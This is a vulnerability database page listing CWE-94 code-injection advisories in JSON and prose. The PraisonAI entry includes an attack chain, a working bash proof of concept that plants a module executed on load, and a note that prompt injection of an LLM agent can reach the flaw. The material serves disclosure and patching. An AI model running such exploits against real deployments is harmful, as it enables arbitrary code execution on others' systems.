Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8378 vulnerabilities reference this CWE, most recent first.

GHSA-784R-2WG6-39WC

Vulnerability from github – Published: 2023-10-10 03:30 – Updated: 2024-04-04 08:26
VLAI
Details

An issue in SeaCMS v.12.8 allows an attacker to execute arbitrary code via the admin_ notify.php component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-44846"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-10T01:15:10Z",
    "severity": "HIGH"
  },
  "details": "An issue in SeaCMS v.12.8 allows an attacker to execute arbitrary code via the admin_ notify.php component.",
  "id": "GHSA-784r-2wg6-39wc",
  "modified": "2024-04-04T08:26:47Z",
  "published": "2023-10-10T03:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44846"
    },
    {
      "type": "WEB",
      "url": "https://blog.csdn.net/2301_79997870/article/details/133365547?spm=1001.2014.3001.5501"
    },
    {
      "type": "WEB",
      "url": "https://blog.csdn.net/2301_79997870/article/details/133661890?spm=1001.2014.3001.5502"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-785F-3QGQ-GHQ3

Vulnerability from github – Published: 2026-06-15 03:30 – Updated: 2026-06-15 03:30
VLAI
Details

A security vulnerability has been detected in RubyLouvre avalon up to 2.2.10. The impacted element is an unknown function of the file src/filters/index.js of the component Template Filter Handler. Such manipulation leads to improperly controlled modification of object prototype attributes. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-12209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-15T03:16:24Z",
    "severity": "MODERATE"
  },
  "details": "A security vulnerability has been detected in RubyLouvre avalon up to 2.2.10. The impacted element is an unknown function of the file src/filters/index.js of the component Template Filter Handler. Such manipulation leads to improperly controlled modification of object prototype attributes. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-785f-3qgq-ghq3",
  "modified": "2026-06-15T03:30:32Z",
  "published": "2026-06-15T03:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OriginSecurityX/avalon-filter-rce"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-12209"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/832447"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/370851"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/370851/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-785G-RP7V-287F

Vulnerability from github – Published: 2022-01-27 00:01 – Updated: 2026-07-05 00:31
VLAI
Details

jpress 4.2.0 is vulnerable to remote code execution via io.jpress.module.article.kit.ArticleNotifyKit#doSendEmail. The admin panel provides a function through which attackers can edit the email templates and inject some malicious code.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-46118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-26T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "jpress 4.2.0 is vulnerable to remote code execution via io.jpress.module.article.kit.ArticleNotifyKit#doSendEmail. The admin panel provides a function through which attackers can edit the email templates and inject some malicious code.",
  "id": "GHSA-785g-rp7v-287f",
  "modified": "2026-07-05T00:31:24Z",
  "published": "2022-01-27T00:01:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46118"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JPressProjects/jpress/issues/170"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JPressProjects/jpress"
    },
    {
      "type": "WEB",
      "url": "http://jpress.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7862-88G8-9QVM

Vulnerability from github – Published: 2022-05-17 04:38 – Updated: 2025-04-12 12:36
VLAI
Details

The "runshellscript echo.sh" script in Splunk before 5.0.5 allows remote authenticated users to execute arbitrary commands via a crafted string. NOTE: this issue was SPLIT from CVE-2013-6771 per ADT2 due to different vulnerability types.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-7394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-08-07T11:13:00Z",
    "severity": "HIGH"
  },
  "details": "The \"runshellscript echo.sh\" script in Splunk before 5.0.5 allows remote authenticated users to execute arbitrary commands via a crafted string.  NOTE: this issue was SPLIT from CVE-2013-6771 per ADT2 due to different vulnerability types.",
  "id": "GHSA-7862-88g8-9qvm",
  "modified": "2025-04-12T12:36:22Z",
  "published": "2022-05-17T04:38:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-7394"
    },
    {
      "type": "WEB",
      "url": "http://www.splunk.com/view/SP-CAAAH76"
    },
    {
      "type": "WEB",
      "url": "http://zerodayinitiative.com/advisories/ZDI-14-053"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7889-RM5J-HPGG

Vulnerability from github – Published: 2021-08-23 19:40 – Updated: 2022-02-08 21:01
VLAI
Summary
Clipboard feature vulnerability allowing to inject arbitrary HTML into the editor using paste functionality
Details

Affected packages

The vulnerability has been discovered in clipboard plugin. All plugins with clipboard plugin dependency are affected:

Impact

A potential vulnerability has been discovered in CKEditor 4 Clipboard package. The vulnerability allowed to abuse paste functionality using malformed HTML, which could result in injecting arbitrary HTML into the editor. It affects all users using the CKEditor 4 plugins listed above at version >= 4.5.2.

Patches

The problem has been recognized and patched. The fix will be available in version 4.16.2.

For more information

Email us at security@cksource.com if you have any questions or comments about this advisory.

Acknowledgements

The CKEditor 4 team would like to thank Anton Subbotin (skavans) for recognizing and reporting this vulnerability.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ckeditor4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.5.2"
            },
            {
              "fixed": "4.16.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32809"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-23T16:49:10Z",
    "nvd_published_at": "2021-08-12T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Affected packages\nThe vulnerability has been discovered in [clipboard](https://ckeditor.com/cke4/addon/clipboard) plugin. All plugins with [clipboard](https://ckeditor.com/cke4/addon/clipboard) plugin dependency are affected:\n\n* [clipboard](https://ckeditor.com/cke4/addon/clipboard)\n* [pastetext](https://ckeditor.com/cke4/addon/pastetext)\n* [pastetools](https://ckeditor.com/cke4/addon/pastetools)\n* [widget](https://ckeditor.com/cke4/addon/widget)\n* [uploadwidget](https://ckeditor.com/cke4/addon/uploadwidget)\n* [autolink](https://ckeditor.com/cke4/addon/autolink)\n* [tableselection](https://ckeditor.com/cke4/addon/tableselection)\n\n### Impact\nA potential vulnerability has been discovered in CKEditor 4 [Clipboard](https://ckeditor.com/cke4/addon/clipboard) package. The vulnerability allowed to abuse paste functionality using malformed HTML, which could result in injecting arbitrary HTML into the editor. It affects all users using the CKEditor 4 plugins listed above at version \u003e= 4.5.2.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 4.16.2.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 4 team would like to thank Anton Subbotin ([skavans](https://github.com/skavans)) for recognizing and reporting this vulnerability.\n",
  "id": "GHSA-7889-rm5j-hpgg",
  "modified": "2022-02-08T21:01:48Z",
  "published": "2021-08-23T19:40:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-7889-rm5j-hpgg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32809"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ckeditor/ckeditor4"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NYA354LJP47KCVJMTUO77ZCX3ZK42G3T"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UVOYN2WKDPLKCNILIGEZM236ABQASLGW"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WAGNWHFIQAVCP537KFFS2A2GDG66J7XD"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Clipboard feature vulnerability allowing to inject arbitrary HTML into the editor using paste functionality"
}

GHSA-789Q-XFMH-GCRM

Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-05-14 18:30
VLAI
Details

The The Back In Stock Notifier for WooCommerce | WooCommerce Waitlist Pro plugin for WordPress for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 5.3.1. This is due to the plugin for WordPress allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-4038"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T15:42:44Z",
    "severity": "MODERATE"
  },
  "details": "The The Back In Stock Notifier for WooCommerce | WooCommerce Waitlist Pro plugin for WordPress for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 5.3.1. This is due to the plugin for WordPress allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.",
  "id": "GHSA-789q-xfmh-gcrm",
  "modified": "2024-05-14T18:30:53Z",
  "published": "2024-05-14T18:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4038"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3080830%40back-in-stock-notifier-for-woocommerce\u0026new=3080830%40back-in-stock-notifier-for-woocommerce\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d7f59489-9bff-4d22-8f99-6ea52d702ecf?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-78H7-GXCG-7X5R

Vulnerability from github – Published: 2022-05-14 02:17 – Updated: 2022-05-14 02:17
VLAI
Details

The Matroska format decoder in FFmpeg before 0.8.3 does not properly allocate memory, which allows remote attackers to execute arbitrary code via a crafted file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2011-3504"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-09-29T00:55:00Z",
    "severity": "HIGH"
  },
  "details": "The Matroska format decoder in FFmpeg before 0.8.3 does not properly allocate memory, which allows remote attackers to execute arbitrary code via a crafted file.",
  "id": "GHSA-78h7-gxcg-7x5r",
  "modified": "2022-05-14T02:17:28Z",
  "published": "2022-05-14T02:17:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3504"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/45532"
    },
    {
      "type": "WEB",
      "url": "http://technet.microsoft.com/en-us/security/msvr/msvr11-011"
    },
    {
      "type": "WEB",
      "url": "http://ubuntu.com/usn/usn-1320-1"
    },
    {
      "type": "WEB",
      "url": "http://ubuntu.com/usn/usn-1333-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ffmpeg.org/releases/ffmpeg-0.7.5.changelog"
    },
    {
      "type": "WEB",
      "url": "http://www.ffmpeg.org/releases/ffmpeg-0.8.4.changelog"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2012:074"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2012:075"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2012:076"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/75621"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-78H8-M693-FP8X

Vulnerability from github – Published: 2024-04-04 09:30 – Updated: 2024-04-04 09:30
VLAI
Details

SQL injection vulnerability in ITB-GmbH TradePro v9.5, allows remote attackers to run SQL queries via oordershow component in customer function.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-36645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-04T09:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "SQL injection vulnerability in ITB-GmbH TradePro v9.5, allows remote attackers to run SQL queries via oordershow component in customer function.",
  "id": "GHSA-78h8-m693-fp8x",
  "modified": "2024-04-04T09:30:34Z",
  "published": "2024-04-04T09:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36645"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caffeinated-labs/CVE-2023-36645"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-78R8-WWQV-R299

Vulnerability from github – Published: 2026-05-29 22:26 – Updated: 2026-05-29 22:26
VLAI
Summary
PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334
Details

Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)

Summary

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate

372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

  1. Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
  2. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
  3. Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-426: Untrusted Search Path
  • CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / SnailSploit

Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)

TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

CVE GHSA Fixed in What was patched
CVE-2026-40156 GHSA-2g3w-cpc4-chr4 4.5.128 CWD tools.py auto-load in tool_resolver.py
CVE-2026-40287 GHSA-g985-wjh9-qxxc 4.5.139 Env-var gate added to tool_resolver.py + api/call.py
CVE-2026-44334 GHSA-xcmw-grxf-wjhj 4.6.32 Missed sink in templates/tool_override.py
This finding unfixed Missed sinks in agents_generator.py

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate

372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

  1. Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
  2. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
  3. Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-426: Untrusted Search Path
  • CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com/)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.39"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47398"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:26:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2\u003eArbitrary code execution via ungated \u003ccode\u003espec.loader.exec_module\u003c/code\u003e in \u003ccode\u003eagents_generator.py\u003c/code\u003e (v4.6.32 chokepoint refactor bypass)\u003c/h2\u003e\n\u003ch3\u003eSummary\u003c/h3\u003e\n\u003cp\u003eThe v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the \u003ccode\u003ePRAISONAI_ALLOW_LOCAL_TOOLS\u003c/code\u003e env-var gate to the \u003ccode\u003etool_override.py\u003c/code\u003e sinks. However, \u003cstrong\u003etwo additional \u003ccode\u003espec.loader.exec_module\u003c/code\u003e call sites\u003c/strong\u003e in \u003ccode\u003epraisonai/agents_generator.py\u003c/code\u003e were missed and remain completely unguarded on current \u003ccode\u003emaster\u003c/code\u003e (v4.6.37). Both functions accept a \u003ccode\u003emodule_path\u003c/code\u003e parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.\u003c/p\u003e\n\u003ch3\u003ePatch lineage\u003c/h3\u003e\n\nCVE | GHSA | Fixed in | What was patched\n-- | -- | -- | --\nCVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py\nCVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py\nCVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py\nThis finding | \u2014 | unfixed | Missed sinks in agents_generator.py\n\n\n\u003cp\u003eEvery prior patch addressed a subset of \u003ccode\u003eexec_module\u003c/code\u003e call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.\u003c/p\u003e\n\u003ch3\u003eVulnerable code\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e# praisonai/agents_generator.py  (master HEAD; v4.6.37)\n\n336    def load_tools_from_module(self, module_path):\n           # ...\n349        spec = importlib.util.spec_from_file_location(\"tools_module\", module_path)\n350        module = importlib.util.module_from_spec(spec)\n351        spec.loader.exec_module(module)               # \u2190 NO gate\n\n372    def load_tools_from_module_class(self, module_path):\n           # ...  (same pattern \u2014 spec_from_file_location \u2192 exec_module, no gate)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNeither function checks \u003ccode\u003ePRAISONAI_ALLOW_LOCAL_TOOLS\u003c/code\u003e. Neither validates \u003ccode\u003emodule_path\u003c/code\u003e against an 